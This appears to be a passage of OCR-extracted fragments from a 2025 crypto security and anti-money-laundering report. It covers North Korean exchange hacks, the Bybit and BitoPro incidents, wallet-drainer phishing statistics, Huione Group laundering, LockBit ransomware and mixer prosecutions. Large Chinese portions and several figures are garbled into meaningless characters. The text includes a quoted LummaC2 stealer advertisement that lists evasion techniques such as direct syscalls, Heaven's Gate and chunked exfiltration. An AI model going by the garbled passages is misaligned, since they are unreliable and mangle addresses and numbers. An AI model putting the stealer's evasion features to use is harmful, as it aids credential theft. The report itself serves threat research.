& 0x1D568fc0...01222ABcF (D to KiloEX Exploiter 1
BIERE, 1RiF:

BMNEMELUR, BERNTHEXEENOXRER.

FANEERAR AR (0x551f3110f12¢763d1611d5a63b5f015d1¢1a954c, 0x00fac92881556a90fdb19eaedf23640b95b4bcbd,
0xd43b395efad4877e94e06b980f4ed05367484bf3), H HELBKAESBIFKHBIBILIAT RBBREFRE.

AT RFERX— G, BRI
1. 24/ I POISO0 %A AR BT FIR A LA LA T ekt HREE10%(FARIRR A BIEE E32R.
opBNB: 0xb1a95732ed3c75f7b1dc594a357f7a957e9baad?...

View More

at txn Oxa6031b4ef8e2b... Apr-16-2025 04:17:23 PM UTC (4 days ago)

%’ 0x1D568fc0...01222ABcF (O to KiloEX Exploiter 1

To Hacker:

Our investigation, supported by law enforcement, cybersecurity agencies, and multiple exchanges & bridge protocols, has uncovered critical information about your
activities.

We are actively monitoring your addresses (0x551f3110f12c763d1611d5a63b5f015d1c1a954c, 0x00fac92881556a90fdb19eae9f23640b95b4bcbd,
0xd43b395efad4877e94e06b980f4ed05367484bf3) and are prepared to freeze the stolen funds promptly.

To resolve this matter amicably, we propose:
1. Return 90% of the stolen funds to the following addresses within 72 hours, and keep 10% as a whitehat bounty for your cooperation....

View More

at txn 0xe8c052f2770¢2... Apr-15-2025 03:08:59 PM UTC (5 days ago)
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Table 1: Total Cryptocurrency Stolen by the DPRK, 2024 - 2025

Dates Total DPRK Cryptocurrency Theft
January 2024 — December 2024 | $ 1,191,554,000
January 2025 — September 2025 | $ 1,645,780,000
January 2024 — September 2025 | $ 2,837,334,000
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https://msmt.info/Publications/detail/MSMT%20Report/4221
https://www.ic3.gov/PSA/2025/PSA250226

Public Service Announcement <{¥$

FEDERAL BUREAU OF INVESTIGATION

Alert Number: I-022625-PSA
February 26, 2025

North Korea Responsible for $1.5 Billion Bybit Hack

The Federal Bureau of Investigation (FBI) is releasing this PSA to advise the Democratic
People's Republic of Korea (North Korea) was responsible for the theft of approximately
$1.5 billion USD in virtual assets from cryptocurrency exchange, Bybit, on or about
February 21, 2025. FBI refers to this specific North Korean malicious cyber activity as
"TraderTraitor."

TraderTraitor actors are proceeding rapidly and have converted some of the stolen assets
to Bitcoin and other virtual assets dispersed across thousands of addresses on multiple
blockchains. It is expected these assets will be further laundered and eventually
converted to fiat currency.
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Figure 25: Kimsuky’s Cyber Operations Against the ROK Construction Sector in January 2024
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Figure 8: Industry Distribution for DPRK IT Worker Threat Activity, 2024
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Figure 23: DPRK IT Workers Using Online Platforms
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Figure 4: GitHub blog used to share website source codes among Kyonghung IT members
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Public Service Announcement <Gj‘§

FEDERAL BUREAU OF INVESTIGATION

Alert Number: I-022625-PSA
February 26, 2025

North Korea Responsible for $1.5 Billion Bybit Hack

The Federal Bureau of Investigation (FBI) is releasing this PSA to advise the Democratic
People's Republic of Korea (North Korea) was responsible for the theft of approximately
$1.5 billion USD in virtual assets from cryptocurrency exchange, Bybit, on or about
February 21, 2025. FBI refers to this specific North Korean malicious cyber activity as
"TraderTraitor."

TraderTraitor actors are proceeding rapidly and have converted some of the stolen assets
to Bitcoin and other virtual assets dispersed across thousands of addresses on multiple
blockchains. It is expected these assets will be further laundered and eventually
converted to fiat currency.
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Operation SyncHole:
Lazarus's latest campaign
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4. Inject into the legitimate process 3. Fetch a payload
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Announcements / BitoPro Statement & Progress Update: June 19, 2025

BitoPro Statement & Progress Update: June 19, 2025

This statement provides an update on the security incident that occurred on May 9, 2025. Our internal security team and a third-party professional cybersecurity firm
conducted a comprehensive, month-long investigation. Based on the forensic report issued on June 11, 2025, preliminary findings confirm no internal personnel
involvement. Furthermore, the attack methodology bears resemblance to patterns observed in multiple past international major incidents, including illicit transfers from
global bank SWIFT systems and asset theft incidents from major international cryptocurrency exchanges. These attacks are attributed to the North Korean hacking
organization 'Lazarus Group.'

The attackers conducted a social engineering attack on a team member responsible for cloud operations, successfully implanting malware. This allowed them to bypass
our antivirus, endpoint protection, and cloud security detection systems. The threat actors then operated stealthily from the employee's computer, observing daily
operational behaviors to evade routine security monitoring. They subsequently hijacked AWS Session Tokens to bypass Multi-Factor Authentication (MFA). From the AWS
environment, they delivered commands via a C2 server to discreetly transfer malicious scripts to the hot wallet host, awaiting an opportunity to launch the attack.

After prolonged observation, the hackers specifically targeted the platform during its wallet system upgrade and asset transfer period, simulating normal operational
behaviors to launch the attack. At approximately 1:00 AM (UTM+8) on May 9, the malicious script was activated, simulating legitimate transactions, and illicitly transferred
cryptocurrency from the hot wallet. Upon detecting abnormal wallet activity, our security team immediately initiated response mechanisms. These included: emergency
shutdown of the hot wallet system, changing all associated cryptographic keys, isolating and rebuilding affected systems and terminal devices, expanding monitoring, and
continuously tracking abnormal behaviors to prevent further hacker activity.

The incident has now been handed over to criminal investigation units for ongoing investigation and forensic analysis. We re-examined and rebuilt our wallet system
immediately. On May 19, we proactively provided our hot wallet addresses to the on-chain data tracking platform Arkham to update platform liquidity and related data. As
of June 19, some wallet addresses on their page (https://intel.arkm.com/explorer/entity/bitopro) have been updated, and users can review them.

This security incident once again highlights the continuous evolution of cyberattack methodologies. This is not only a challenge for virtual asset platforms but also a crucial
issue that Taiwanese financial institutions, and indeed all industries, should prioritize. We deeply understand that information security is an unending test. Moving forward,
BitoPro will continue to strengthen our security technologies and management processes, and actively exchange experiences. We urge the industry to heighten vigilance,
working together to build a secure and stable trading environment in a rapidly changing digital world.


https://www.bitopro.com/ns/announcements/1226
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In June 2024, the UK based instant exchange platform Lykke was targeted by
hackers, leading to the loss of ~ 19.5 million USD. The attack has been attributed

to malicious DPRK cyberactors, who stole funds on both the Bitcoin and Ethereum
networks. The primary method of laundering assets was through a no-KYC
exchange. Funds that were stolen on the Bitcoin blockchain were bridged to the
Ethereum network via Thorchain and then deposited into a no-KYC exchange.
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Lazarus EARE 4RI T itk 5780, BSEESTBA R, SEKEASER. BaLEE. BARIRE
BIERFABREENLF-—BESERGNA S FRIRE, NELBRMBAT &K,
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PREZEMS, FEHEREMEMETUITAERROM GEM LR EX . BENES B ERK
ERIMNEE S ME R APZEREML, XEANR U USDT FREMHX KRG E, FLEBIT.
RS REMFRESRFACEIFAE, 2025 F, XERZEIS OFAC ESREIFEX T A R
BAERTRED, FHEXEKAR R 50 ROT&REML,

2025 FHGRFED 2L FRALME . B WTE. ERRARSFREFHFLE EALIMA
BRI REMHNE. TR, SETEMRE, FEA TERSKHNE BNHEL T T#E
EMERMKYPREREER, ALK Web3 R 5 RABRTEZRZLDHALLRKRZ—,

3.3.2 $94 Drainer

RINTEHBENWEEIRE — Web3 RYEFE Scam Sniffer #E, bR ARG, RN/NTNDH
EVM 4735 Wallet Drainer 12K MR FTES, HBBIMLENRF BIFHERPE~,

Crypto Phishing Report

Annual Report 2025 by ScamShniffer

$83.85M 106.1K

TOTAL LOSS VICTIMS

$6.5M 11

LARGEST SINGLE LOSS LARGE LOSS CASES

©® ScamSniffer

(MEE

o H¥i%k:383857, 2EH 106,106 A—— &K 2024 FE 4 5 T 83% #1 68%.

o BARHBEHE:S650 A, @F Permit Z& (9 A),

o FEXLZAEM Permit hEEX S EIP-7702 BEZXLTE Pectra HEFHEM, S BH 2K
BZ,


https://www.scamsniffer.io/

mZXBE NEREAEHIZFREZVMEX, Q3 miZKIERE, NERABRS (S3100 /H),
TR E R B P UERREIR M, SR ERSE,
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e Q35I£:89 ALEFMER 29%, EETIZREERETH,
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o XZNA BIYNAMIEERZEESEEREIRN (approve, permit, setApprovalForAll
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o SuE:EVM FEB .
o fhf{E: HERMIEXITME.
o BRM HIENTRMIT RETHELAERKE RESEXRLBES.
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Year-over-Year Comparison
Signature Phishing Losses | 2023 - 2025

$494M 324K 332K
szoom
soam 106K
= O
LARGEST SINGLE THEFT LARGE CASES (=$1M)
$55.5M 30
$24.1M I 13 I 1
— B
ScamSniffer
fe¥r 2025 2024 2023 R EEEE1E
Bk $8385 A S4.94 {2 $2.9512 -83.0%
2EE 106,106 332,000 324,000 -68.0%
RAPEHE $650 /& $§5548 B $§2405 A -88.3%
RENZEH (=5100 /) 11 30 13 -63.3%
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Monthly Phishing Losses & Victims

2025
» Sa $118M
’ .M 1o — By
| B 1IN
[®)] ScamSniffer
AEBRA:
A3 HAES 2EE IRLE
1A $1025 B 9,220 -56%
2 8 $532 7,442 -48%
3R $637 5992 +20%
4R $529 /5 7,565 -17%
5A $969 /5 7,547 +83%
6 A $280 /5 5,862 71%
7 B $709 /5 9,143 +153%
8 A $1217 /& 15,230 +72%
9 A $1178 /& 15,513 -3%
10 A $328 B 10,935 72%




11 A §777 R 6,344 +137%

12 R $204 B 5313 -74%
§J§5E /E\ .
Quarterly Phishing Losses
2025 | Market trend correlation
$38M
s $31.0M
$30M
$25M $21.9M
$20M $17.8M
$15M $13.1M
$10M
$5M
$oM
Qi Q3 Q4
ScamSniffer
FE P S 2EE N SEGES iz
Q1 $2194 5 22,654 $969 Tk
Q2 $1778 A 20,974 848 g7
Q3 $3104 A 39,886 S778 R Ik
Q4 $1309 A 22,592 $580 EINE]
XEMES:
o TWiF-MKXREK:Q3MARSE(S3100 A7), 5EhigmE LKREL mAERERS, BEZ

EEHZ,
11 ARE L8N 137% BEZEHE R 42%, ABREAZES1225—-BFAERKD, &
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o 12 ARE £FERIK(S204 7)), EXRTIAFRE T,
(6) KEHFE 7T

H $100 BHIEHI:

T B HE# LHRA
$650 /5 StETH, aEthwBTC 9 A Permit
S313 A WBTC 5H increaseApproval
S3057A aEthusDT 8 A Transfer
S182 7/ cUSDCv3 3 A Transfer
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$143 7 LR~ 4 A Approve
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$100 B EZik v 8 A EIP-7702 batch
$100 /A RLB 1 H Uniswap Permit2

o RENEFIZME: 52298 B (HEEFE 27%),

LRRE S (>8100 HEHD :



Distribution of Phishing Signature Types by Total Loss
Large Loss Cases (=$1M) | 2025

@ Permit/ Permit2 (@) Approve / increaseApproval [ Transfer EIP-7702 batch setApprovalForAll

Fomi/pem _ 58-7M
Fopreve nersssefopros _ s

Transfer $4.9M
EIP-7702 batch $2.5M
setApprovalForAll $1.2M
$OM $2M $am $6M $8M $10M $12M

ScamSniffer

REY ESHE =8P S

Permit / Permit2 3 S872 R
Transfer 2 $487 /5

Approve / increaseApproval 3 $562 /B
EIP-7702 batch 2 $254F
setApprovalForAll 1 $123 A

(N K EHES

e EIP-7702 F|A :Pectra ARERABMEY, WEEFAKFHEEYE RETEEEEH
BHERER, 8 AHIMEARIMES (2 £ 5254 7).,
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7

e Permit £ 5 : Permit/Permit2 &4 & KEAZEFHIIR L # 38%.,

Xtk :2023 — 2024 — 2025:




% 2023 2024 2025
M 33 5 $2.954Z $4.941Z (+67%) $8385 75 (-83%)
SEE 32475 33.2 5 (+3%) 10.6 5 (-68%)
N SEES $910 $1,488 $790
FEZHERR Permit/Approve Permit/setOwner Permit
F % Drainer Inferno, MS, Pink Inferno, Angel #1 Drainer H¥
8)XL£H&ZN
AIRERET Wallet Drainer B, ERMNBMEREEE:
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HNERE npm AAZIEENEGR, XEEBLAFRZEATERD, BEEEFR
BREHEND, GRAETEMEIL,

AmAR BEXZERBIAGETERE,
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EEHRHSERTI: EBRRIENE. BE Telegram #288 A . DPRKIT ARiBE — #XFh

FAFEIL,
)3
Pk TE =« BBk,

B

()

EMAEE, HEENRERZLEH - BREREERMAFREEME X BH%.

Permit E& MR RE WA AMRE,

B & B IEE S L S ER M RRIEN A vs S XS E B AR 8§ M Ri5E/APT B o
Drainer £ RS MHREER — |H Drainer i3, # Drainer #Miz,

T, BMAEHEEK REES,

— K Web3 REWWES, Scam Sniffer MAF AT —NHZRAFIRHZ £/ Web3 3hi5, B

il Scam Sniffer EMEN T —LMEZFERFHAR, HEFERLLEIERFE b2b@ScamsSniffer.io
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3.3.3 Huione Group

EE, Rl XM K ERG IR RSREN LY K, MLl Huione Group & & HuionePay
. Huione Guarantee AR B FEHZSREFRINMUNBEMEZ I EREESRENEET S, ERX
NERBEMPENMES R EINER,

(M FEERSHERYT K

BERMER, Huione KRAEREM. BTG R Telegram ESH P HFET K, BEAFEEILFE
EEKB USDT #1734+, BEHE USDHREME, XFEMEIEE, BEAEERF USDH #&
WA —FEEMERE S RIKER . AT ZERSLENHRGIHMIGIE, L REEIAN, #HHE
EMARREIEHAKTBFEETHEX, SRTFENBEEFERERR. BENE -~ KK
B3 T:0E S

USDH(Huione USD), Stablecoin that
Never be Freezed

A stablecoin pegged 1:1 to the US Dollar launched by Huione Labs under
Huione Group.It aims to reduce cryptocurrency market volatility, offering
users a secure, unfrozen, and reliable stablecoin.

2025 % 5 B, Telegram &t X #h FET BRI FEITH, HPEHF 45 "Xinbi Guarantee/FrmiBER"
MXPEHEXA. AFRHETR, ZTFEE 2022 FLURLBBY 84 ZETAHRR S, SRk
%, FiR. BEFEED KR5S —HEEWBEHIN TERBEXVIXNER H Huione Group 351
NEK Telegram MMZRBHFE, RIEHE, FIEEER (Haowang Guarantee, ECAEE{R, Huione
Guarantee) EEEMAR A A ET, A FFTAER NFT, SUEFEH A Telegram FE#k, Haowang
Grarantee fFMIEFBFLTE. REZEAE H T, Huione ERFRHUMAEER, LI
FEER, BE5EFXERAEFRE 30% BTFE Tudou Guarantee (X Z384{R), Huione B USDT
RAEILFBERS, M Tudou B AR £ E Huione XHARIMEESNIE, FREFEZHIE
ETZEED

(2) 8 L AEEHIK



2 E (SlowMist) £ F 4 £ REEK 5BIFETE MistTrack 58 EAFHUEME T Dune BIERITE
W, FAELLER EFFRE T X HuionePay 7E TRON 4 £ USDT FEXAT R AR A 5347 . IR ESEE
N 2024%F 1A 1BE2025%F 12 A 22 B, $###E/& : https/dune.com/misttrack/huionepay-data

o

o HEWMEH:
BB 61541 12 USDT, ZREETYH 689.52 {Z USDT, AL HEBAREE KR, XRZME,

Counter HuionePay withdrawals sum Counter Huionepay deposits sum

61,540,885,728 68,951,683,935

Counter Counter

® @misttrack 2h & ® @misttrack 2h @

o EBREREIME:
2025 3 ANXGEIE, BERINEMR 1112 USDT. FFEZEM 102 USDT, I2TEH 2025 F 7

AR Y, FTEENE 10 ARDETR,

HuionePay Value Statis
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® @misttrack

20 &

o HBH/RUXZEH:
BIEHBE 2024 F 2 ARENMBHIBEK, FF 2025456 A 16 BXFNB A 15 HEMIEE,
{BEM7 BFETE, REEHNESANEHIE 202558208, BAY 14 FE, #E10AE

FEEKE.


https://dune.com/misttrack/huionepay-data

Huionepay withdraw tx count HuionePay deposit tx count
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100k
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o FHRAFH:
BRHiRZMm RESLT, AFEMRLEXKAIANAFKE, MBI N FTaE N A/ BE XK
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12 ANLFRE,
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50k
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0
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® @misttrack
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tb4h, Huione B RMAET, ZOABHZHHEZM, AREENBRAKHRN, SIRFEREN A
SFRTHABREFMRIMEBRMERRZGAE, ELRANEIESRTEREE N RIER
CHE N ABEARFLEALZS BEENEPRALEMU, EFEAEHEHA,

) BEHNESKREE NS

hEEEE L RERAET K, LERENMFFHEMRENRE L ERERMHENE, 2025 % 10
A 14 B, E=EM KBRS EE 24 72 = (OFAC) &I FHEM L (FinCEN) 5 EE S 3| Bk
HIMEBDAZE (FCDO) MR M ZVEIRE {k REE L &R K173, HIERIHZE Prince Group
TCO(BR&) F+ LI Huione Group 5 EE £/ R 4. FINCEN $§1A Huione B 2021 £ 8 A E 2025
£1A%RBY 4012%ExT, EhE DPRKERBE™4 3700 HEt. HEAWMBY 3600 FET, £

92



ER A EIFEE, H45 3% E3RK (& Prince Holding Group. Prince Bank. Jin Bei Group) £ £ & 7=,

MXXZBZE,

Wallst Containing
3643)dP8Ibpm 4 SDWIMEEoDXLEmIvIS4rC

[3E 3% W 4%

R EIRSE ., ¢

2025 4 A, BREESMAMIILFERZN 2 ZE (UNODC) 7E ; % [F AL
HZ A S EREE)IRE f# — S e, Huione Guarantee TR EA—FERBRAEHRXZHRESH
FRERAKMEERAELETH2—, FEFELMEER. AESHTIMAERPRIERAAH
B, AFEHER, ZFEEKAEmTXAR, ARPABEER 7 A, FE5EMEXR. K=, FB.H
M FEHFMEAGFEXE, HESERRSLST R, RERBEL, B 2027 F£LUIK, Huione
Guarantee & EBRIMNZE X H AL EZE T, Mo R L ERYEHEEKRINERITRATE
F 240 12% 5w, HEBREXSBRE. ARHEHE . HFESERBRSHN—H — X XELEW, BE
10 A, MSMT R ETMERAHNMFAET ., T FFPEMLLLLK HuionePay HFFE&#
TMERFRIASELER, #—P5IXEREAXE,


https://www.justice.gov/usao-edny/media/1416266/dl
https://www.unodc.org/roseap/uploads/documents/Publications/2025/Inflection_Point_2025.pdf
https://www.unodc.org/roseap/uploads/documents/Publications/2025/Inflection_Point_2025.pdf
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Listings of Huione Guarantee data vendor, Cambodia and U.S.-based ‘motorcade’ laundering service, and Huione Crypto mobile application, 2024.

334 8% / BERY

SRV SERGIREEREE 2025 EMEMBERTRERBRRFTRIMNEEZEZARFE, &
i MaaS / RaaS (Malware/Ransomware-as-a-Service) E M {L Xt — D BRI &M, FLIEH
REZHILEEHREXRBAERSTERE, BAFET KOMELNFERNE, ZTE—F Z2E
BUEERTE XA X %0 BIKEFFHGE X BITH1T3), HHF LockBit & LummaC2 B EHILER
x4,

(1) LockBit #1 R H A FFLEED

LockBit B —1iEERMIEN R B BNARSS (RaaS, Ransomware-as-a-Service) A4R, & FHINTE 2019
£9 8, BT RYRAEMNE XHRE AN abcd TR, © LW N ABCD #HZREM4", ZEAKLL
HERKZR. SEBF L. WRBUESMEN, ELEEERNRET KEHXRL., BE. HEM
ESMENKE, EHSTERTENMATINERFEER (APT) AR,

N RaaS RAM A B KR, LockBit BEIZOLDFREREMFERETIES, K5I"MNBEE (
Affiliates) " AT EHRK G, BESRE, FEIBED HEHEE, —RETETIRD B 70%.
o, ' MEHRKEWEEEEN: —AENEXY, H—AEGREEFEBLAF, — B2
EEELIABRE, WEFSHEETETRMEMLRA L RREE L, LockBit 3Z# Windows
Linux 4%, ERASLEMERARS AESNIHEREXRISHaEMNE, E2RAMERBIEED (0


https://mp.weixin.qq.com/s/YBfvFLLx6RNSI8qx4ODwpQ

{5 /3 PSExec, RDP R %), MERME S EZ X AKIEE. BIRZMNHFXBMRS. LockBit WKEH
BEBERSGL, BERAIM APT B, BAKEHEEAKMNT  ME5E (bR E . FKiRF
FA.RDP 550 %) ; # M 3h (Mimikatz, Cobalt Strike %) ; iR F; $4EZFER; X INZR  # H #)
RER  AMEREMBER ERAF).

20254 5 A 8 B, 2E(SlowMist) WE|1EIRFF LockBit NER onion #EH ERBEEEARFMBH
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MBEZREHMEE, XGE—HRELR PHP EMEEH LockBit REZEE TS, BREMIH:

api/. ajax/. services/. models/. workers/ 2RI B B —ERIERIL, BFRFFE Laravel F

HEZR A E 45 ¥ (B0 app/Http/Controllers) ;

e DB.php. prodDB.php. autoload.php. functions.php REASIEEMEHKEISEFIHEEN,;

e vendor/ + composerjson {f T Composer, HBARIEESIA T EHE=FHF, (BENER A&
=BCEM;

e victim/, notifications-host/ F X ##R B LKAl 5k (BB B EZEREH)
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BEEWRIZREZ, LockBit ZEE MR INERFELE, FEHBREAITHRETELR, SFLULATXE
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RRMIFRSEE,
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ERH 2300 240t E, SHABESITH T EREALERXAET R,

#& Cyble #%5&, LummaC?2 B 2022 FAHFIBRERIZHIGERET 8, FH MaaS 1 1T HER
(89 S250/B#2), FE Telegram R EREEF X, FHTE info-stealer TAKEAFRK, %K
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https://cyble.com/blog/lummac2-stealer-a-potent-threat-to-crypto-users/

c1. average ret

s K 1 on e 5 builid weight 150
xcelient kow-ieved fast file grabber | sleals 60 crypiocurrency and 2FA browser extensions | ipdales

-2 minutes!

t)
- The language used in the development is C, which allows you to easily morph the stealer later
- Almost no high-level WINAPI is used
- All interaction with the 08 occurs through calls to a low-level wrapper written in ASM, over system calls, no WinAPI, only manual syscall calls
- Implemented Heavens Gate technology that allows you to switch from WoW64 mode
- Where WInAPI is used - its calls are encrypted (read custom GetProcAddress)
- All decryption is completely server-based, all data transmitted by the stealer is decrypted on the server
=In order to increase the outflow, data is sent in chunks

- The weight of the build is 1560-200KB, CRT is present, | didn’t cut it down, for whom the weight is very important, | can link CRT from another studio, the
weight will decrease, UPX will compress the build to 80KB, but | don’t ommend doing this

- There is a neighbor detection system, a traffic quality monitoring system

- The file grabbe: s0 works through low-level

- All code is 100% unique (not a paste from other stealers, and not even a paste from a previous version of this LummaC stealer)

- System calls support ARM, x86, x64 architectures , which allows you to run the stealer even on new macs in Windows virtual machines

- Stiller has been tested on operating systems from Windows 7 x32 to Windows 11 x64 with the latest updates
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https://www.justice.gov/archives/opa/pr/operators-cryptocurrency-mixers-charged-money-laundering
https://www.justice.gov/usao-sdny/pr/founders-samourai-wallet-cryptocurrency-mixing-service-sentenced-five-and-four-years
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UNITED STATEsS DISTRICT COURT
SQUTHERN DISTRICT OF NEW YORK

________________________________________ ¥
UNITED STATES OF AMERICA, ; 24crg2-1 (DLC)
-v- ; ORDER
KEONNE RODRIGUEZ, ;
Defendant. ;
________________________________________ X

DENTSE COTR, District Judge:

Having been informed that the defendant wishes to enter a
change of plea, it is hereby

ORDERED that a change of plea is scheduled for Juiy 30,
2025 at 10:00 AM in Courtroom 18B, 500 Pearl Street.

Dated: New York, New York
July 29, 2025

s i

D}‘%f/usn COTE

United States District Judge

oy, BGMAE 2025 FIEEHXT Cryptomixer KB KMEEH T3], ZFEE 2016 FERTILER
o 14 ZETETRERS, NORBEAIK. BBRTHZS A RIEFRKIRHRERL KBEE, 1T
HhEIR 12TB HFERRE B/ E, 1684 cryptomixerio #HE S, HEPEREEMEREH A

H
Ho


https://www.europol.europa.eu/media-press/newsroom/news/europol-and-partners-shut-down-cryptomixer

THIS DOMAIN HAS BEEN SEIZED

Law enforcement agencies have seized databases and other information
relating to this. domain. Anyone operating or using these cybercriminal services
is subject to investigation ahd.prosecution.

o —
operation-olympia.com

Kanton Ziirich SiadtZiirich @Kamons olizei
Staatsanwaltschaft Stadtpolizei Zirich ¥
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RILNTEBEMS—FIELESE Tornado Cash BFF. EEH 2022 & #il#k. 2023-2024 FikEiF 4
WE, 2025 F H I3 2E 55 [E 2 52 5 B 0 78 X #h 75 A B 88 OFAC #ll &k, Tornado Cash ik
B SDN List %%, MEBERHI BB B E EEFBAKARZ LB REMRE RGN £, SIEEARRRIERE
ELL1960()(1)(C) BIFEEEFLME. FFEEMRETFAE . REF &F Roman Storm {hH&
G £ ¥ 1, Tornado Cash # LFEAERKEFWHMRFSFRE (L THIEMEI Tornado
Cash 100 ETH Pool) :

Monthly Deposit & Withdrawal Value of Tornado Cash 100 ETH Pool (in & USD) Tornado Cash 100 ETH Pool — Monthly Inflow, Outflow & TORN Rewards
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 @tornadodao 4d &

MEIERE, 2FFAETEITN 1816 2% T, RIMETMY 1234 2%k, BAREIARAHE
ETERENSE, RREREREERE Tornado Cash FARF=RASERILEE. BRES
PHIE 1T B, Y949912%x, MARESAMNHIRE4 A, Y8095 FERT, LRLKAH
Deposit USD > Withdrawal USD,


https://dune.com/tornadodao/tornado-insights
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B'f e, RiE eXch EHATAEIE, 2025 FHEKAKS 28,756 ETH & 7348 75 ERC20 %

7, REIEETE 3 AYAEIN 194 F%ER, 4 AREHEFIRAL,

Total ETH deposite

d eXch_2025 Total ETH USD deposited eXch_2025

=28,756

Total ETH deposited

Total ERC20 USD deposited eXch_2025 Total ERC20 deposited eXch_2025

ext_2025_deposit

eXch %

FrigiRHETREM ™S, ¥%MA DAl S ahaSHhil SRS LI EHEE EIRIE, R
XEAP. RN FBEENTR ., AME 4 ARILEERMEER

$73,482,393

Total ERC20 USD deposited

Jan6th  Jan13th  Jan20th  Jan27th  Feb3rd  Feb10th  Feb17th  Feb2dth  Mar3rd

RENDB Lazarus #E4k, (BRIAER S Bybit KT A& &
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73,482,393

Total ERC20 deposited
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https://dune.com/misttrack/first-half-of-2025-stats
https://www.presseportal.de/blaulicht/pm/7/6029813

MistTrack & @ & e
@MistTrack_io

#eXch just publicly posted #Bybit’s interception request email and
issued a response. Not the first time—they’ve done the same to us and
many other security researchers.

BTC /LN / XMR / LTC / ETH / ERCI0

12:22 PM - Feb 23, 2025 - 935.6K Views
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RERE, Web3 T RRIFFBEREBEARCFHAS, MEKBZTEEN. KNEIR, SHK
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